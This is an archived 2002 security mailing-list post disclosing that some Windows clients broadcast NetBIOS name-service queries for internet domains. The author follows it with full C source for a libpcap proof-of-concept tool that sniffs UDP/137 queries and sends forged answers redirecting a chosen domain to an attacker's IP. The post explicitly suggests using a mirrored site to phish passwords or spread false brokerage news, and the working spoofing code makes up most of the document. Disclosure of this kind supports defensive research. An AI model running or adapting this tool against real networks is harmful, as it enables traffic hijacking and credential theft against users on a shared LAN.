Possible privary leak converting to website stealing

From: Kai Kretschmann (K.Kretschmann@security-gui.de)
Date: Mon May 06 2002 - 07:03:53 PDT

  • Next message: blackshellat_private: "ldap vulnerabilities"

    Some weeks ago I noticed a small amount of netbios name service 
    broadcasts on our internal LAN. First I only though about some sort of 
    privacy leak as posted on this list at april 25th.
    You could receive name resolution requests for internet domains below 17 
    characters length sent via broadcast to every station connected. I found 
    it important to say by broadcast, so you don't have to sniff or trick at 
    some switches, but you get it delivered right to your desktop!
    
    Now I programmed a little tool which could exploit this behavior even 
    further. It's intended as a proof of concept to send false/faked name 
    resolution answers to the clients mentioned above. Preferrably with an 
    IP number of a web server you already put a perfect mirror of the 
    redirected website on. Now you could be able to redirect the clients 
    traffic to this site and either fool him with wrong brokerage news or 
    convince him to enter his usual passwort account data. It compiled here 
    under SuSE Linux 7.2, just enter your domain and ip data on the command 
    line.
    
    I tried it in my test LAN and it worked, not only with browsers but also 
    with every other windows application, like mysql clients etc., they all 
    can be redirected this way. And it works only on domain names up to 16 
    characters.
    
    If you ever saw these UDP/137 broadcasts for name resolution requests of 
    the form WWW.DOMAIN.COM these clients might be vulnerable to this sort 
    of simple attack. You can trigger this behavior for testing reasons on 
    any windows pc by disabling dns resolution temporarily, just to trigger 
    only these packets.
    
    In real life(tm) we have a broad range of different windows and service 
    pack installations so we didn't get a common dominator yet how only some 
    clients try to resolve this way.
    
    --
    Think Safety
    Kai Kretschmann
    
    
    /* 2002(c) by K.Kretschmann@security-gui.de */
    /* gcc t3.c -lpcap */
    
    #define _BSD_SOURCE 1
    
    #include <pcap.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <net/if.h>
    #include <netinet/if_ether.h>
    #include <netinet/udp.h>
    
    /* globals */
    static const char* thedomain;
    static const char* thenewip;
    
    /* Ethernet header */
    struct sniff_ethernet {
    	u_char  ether_dhost[ETHER_ADDR_LEN];    /* Destination host address */
    	u_char  ether_shost[ETHER_ADDR_LEN];    /* Source host address */
    	u_short ether_type;                     /* IP? ARP? RARP? etc */
    };
    
    /* IP header */
    struct sniff_ip {
            #if BYTE_ORDER == LITTLE_ENDIAN
                    u_int   ip_hl:4,        /* header length */
                            ip_v:4;         /* version */
            #if BYTE_ORDER == BIG_ENDIAN
                    u_int   ip_v:4,         /* version */
                            ip_hl:4;        /* header length */
            #endif
            #endif /* not _IP_VHL */
            u_char  ip_tos;                 /* type of service */
            u_short ip_len;                 /* total length */
            u_short ip_id;                  /* identification */
            u_short ip_off;                 /* fragment offset field */
            #define IP_RF 0x8000            /* reserved fragment flag */
            #define IP_DF 0x4000            /* dont fragment flag */
            #define IP_MF 0x2000            /* more fragments flag */
            #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
            u_char  ip_ttl;                 /* time to live */
            u_char  ip_p;                   /* protocol */
            u_short ip_sum;                 /* checksum */
            struct  in_addr ip_src,ip_dst;  /* source and dest address */
    };
    
    struct sniff_udp {
             u_int16_t uh_sport;           /* source port */
             u_int16_t uh_dport;           /* destination port */
             u_int16_t uh_ulen;            /* udp length */
             u_int16_t uh_sum;             /* udp checksum */
    };
    
    struct sniff_nbns {
    	u_int16_t nh_xid;		/* transaction id */
    	u_int16_t nh_flags;
    	u_int16_t nh_question;
    	u_int16_t nh_answer;
    	u_int16_t nh_authority;
    	u_int16_t nh_additional;
    
    	char      nh_xxx;
    	char      nh_name[32];
    	char      nh_yyy;
    
    	u_int16_t nh_type;
    	u_int16_t nh_class; /* always internet */
    };
    
    struct reply_nbns {
    	u_int16_t nh_xid;
    	u_int16_t nh_flags;
    	u_int16_t nh_question;
    	u_int16_t nh_answer;
    	u_int16_t nh_authority;
    	u_int16_t nh_additional;
    
    	char      nh_xxx;
    	char      nh_name[32];
    	char      nh_yyy;
    
    	u_int16_t nh_type;
    	u_int16_t nh_class;
    	u_int16_t nh_ttl1;
    	u_int16_t nh_ttl2;
    	u_int16_t nh_len;
    	u_int16_t nh_flags2;
    	u_int16_t ip_num1, ip_num2;
    };
    
    u_char *L1_Encode( u_char *dst, const u_char *name )
      {
      int i = 0;
      int j = 0;
    
      /* Encode the name. */
      while( ('\0' != name[i]) && (i < 16) )
        {
        dst[j++] = 'A' + ((name[i] & 0xF0) >> 4);
        dst[j++] = 'A' + (name[i++] & 0x0F);
        }
    
      /* Encode the padding bytes. */
      while( j < 32 )
        {
        dst[j++] = 'C';
        dst[j++] = 'A';
        }
    
      /* Terminate the string. */
      dst[32] = '\0';
    
      return( dst );
    } /* L1_Encode */
    
    
    int L1_Decode(       u_char *name,    /* Target.  Minimum 16 bytes. */
                   const u_char *src,     /* Message buffer.            */
                         int    srcpos,  /* Start position of name.    */
                   const int    srcmax ) /* Size of source buffer.     */
      {
      int   i;
      int   suffix;
      char *p = &src[srcpos];
    
      /* Make sure we have 32 bytes worth of message to read. */
      if( (srcmax - srcpos) < 32 )
        {
        name[0] = '\0';
        return( -1 );
        }
    
      /* Convert each source pair to their original octet value. */
      for( i = 0; i < 32; i++ )
        name[i/2] = ( (( (int)(p[i]) - 'A' ) << 4)
                    +  ( (int)(p[++i]) - 'A' ) );
    
      /* Copy out suffix byte and replace with nul terminator.   */
      suffix = name[15];
      name[15] = '\0';
    
      /* Trim off trailing spaces, if any. */
      for( i = 14; (i >= 0) && (' ' == name[i]); i-- )
        name[i] = '\0';
    
      return( suffix );   /* Return the suffix value as an int.  */
    } /* L1_Decode */
    
    void do_reply(const struct sniff_ip *ip, const struct sniff_udp *udp, const struct sniff_nbns *nbns) {
    struct reply_nbns	r_nbns;
    int			fd, rc=0;
    struct in_addr		tmpadr;
    in_addr_t		tmp32adr;
    struct sockaddr_in	hissockaddr;
    
    // Payload erstellen
    	r_nbns.nh_xid        = nbns->nh_xid;
    	r_nbns.nh_flags      = htons(0x8500);
    	r_nbns.nh_question   = 0;
    	r_nbns.nh_answer     = htons(1);
    	r_nbns.nh_authority  = 0;
    	r_nbns.nh_additional = 0;
    
    	r_nbns.nh_xxx        = nbns->nh_xxx;
    	memcpy(r_nbns.nh_name, nbns->nh_name, 32);
    	r_nbns.nh_yyy        = nbns->nh_yyy;
    
    	r_nbns.nh_type       = nbns->nh_type;
    	r_nbns.nh_class      = nbns->nh_class;
    	r_nbns.nh_ttl1       = 0x0000;
    	r_nbns.nh_ttl2       = 0x0001;
    	r_nbns.nh_len        = htons(6);
    	r_nbns.nh_flags2     = 0;
    
    	/*r_nbns.ip_num1 = 0x0102;
    	r_nbns.ip_num2 = 0x0304;*/
    
    	inet_aton(thenewip, &tmpadr);
    	tmp32adr = tmpadr.s_addr;
    	r_nbns.ip_num2 = (tmp32adr & 0xFFFF0000L) >> 16;
    	r_nbns.ip_num1 = tmp32adr & 0x0000FFFFL;
    
    // send udp packet reply
    	fd = socket(AF_INET, SOCK_DGRAM, 0);
    	if(fd < 0) {
    		fprintf(stderr, "socket failed");
    		exit;
    	}
    
    	hissockaddr.sin_family      = AF_INET;
    	hissockaddr.sin_addr = ip->ip_src; /*inet_addr("192.168.0.1");*/
    	hissockaddr.sin_port        = htons(137);
    
    	rc=sendto(fd, (void*)&r_nbns, sizeof(r_nbns), 0, (struct sockaddr*)&hissockaddr, sizeof(hissockaddr));
    	fprintf(stderr, "sending %d bytes\n", rc);
    
    	close(fd);
    }
    
    void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
    
    void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
    {
    	static int count=1;
    	char tmpname[16];
    
    	/* Define pointers for packet's attributes */
            const struct sniff_ethernet *ethernet;  /* The ethernet header */
            const struct sniff_ip *ip;              /* The IP header */
    	const struct sniff_udp *udp;
    	const struct sniff_nbns *nbns;
    
            /* And define the size of the structures we're using */
            int size_ethernet = sizeof(struct sniff_ethernet);
            int size_ip = sizeof(struct sniff_ip);
    	int size_udp = sizeof(struct sniff_udp);
    
            /* -- Define our packet's attributes -- */
            ethernet = (struct sniff_ethernet*)(packet);
            ip = (struct sniff_ip*)(packet + size_ethernet);
    	udp = (struct sniff_udp*)(packet + size_ethernet + size_ip);
    	nbns = (struct sniff_nbns*)(packet + size_ethernet + size_ip + size_udp);
    
    	printf("Packet number %d has just been sniffed\n", count);
    	printf("\tFrom:    %s:%d\n", inet_ntoa(ip->ip_src), ntohs(udp->uh_sport));
    	printf("\tTo:      %s:%d\n", inet_ntoa(ip->ip_dst), ntohs(udp->uh_dport));
    	printf("\tPayload  %d\n", ntohs(udp->uh_ulen));
    	printf("\txid:     %x\n", ntohs(nbns->nh_xid));
    	printf("\tQuestions: %d\n", ntohs(nbns->nh_question));
    	printf("\tType/Class: %d,%d\n", ntohs(nbns->nh_type), ntohs(nbns->nh_class));
    
    	L1_Decode(tmpname, nbns->nh_name, 0, sizeof(nbns->nh_name));
    	printf("\tname: '%s'\n", tmpname);
    
    	if(nbns->nh_question > 0 && strcasecmp(tmpname, thedomain)==0)
    		do_reply(ip, udp, nbns);
    
    	count++;
    }
    
    int main(int argc, char *argv[])
    {
    pcap_t *handle; /* Session handle */
    char *dev; /* The device to sniff on */
    char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
    struct bpf_program filter; /* The compiled filter */
    char filter_app[] = "udp port 137"; /* The filter expression */
    bpf_u_int32 mask; /* Our netmask */
    bpf_u_int32 net; /* Our IP */
    
    	if(3 != argc) {
    		printf("usage: %s domain ip\n", argv[0]);
    		exit(1);
    	}
    	thedomain = argv[1];
    	thenewip  = argv[2];
    	printf("redirect target domain '%s' to ip '%s'\n", thedomain, thenewip);
    
    /* Define the device */
    	dev = pcap_lookupdev(errbuf);
    /* Find the properties for the device */
    	pcap_lookupnet(dev, &net, &mask, errbuf);
    /* Open the session in promiscuous mode */
    	handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf);
    /* Compile and apply the filter */
    	pcap_compile(handle, &filter, filter_app, 0, net);
    	pcap_setfilter(handle, &filter);
    
    /* Grab a packet */
    	pcap_loop(handle, -1, got_packet, NULL);
    
    /* And close the session */
    	pcap_close(handle);
    
    	return(0);
    }
    



    This archive was generated by hypermail 2b30 : Mon May 06 2002 - 09:11:47 PDT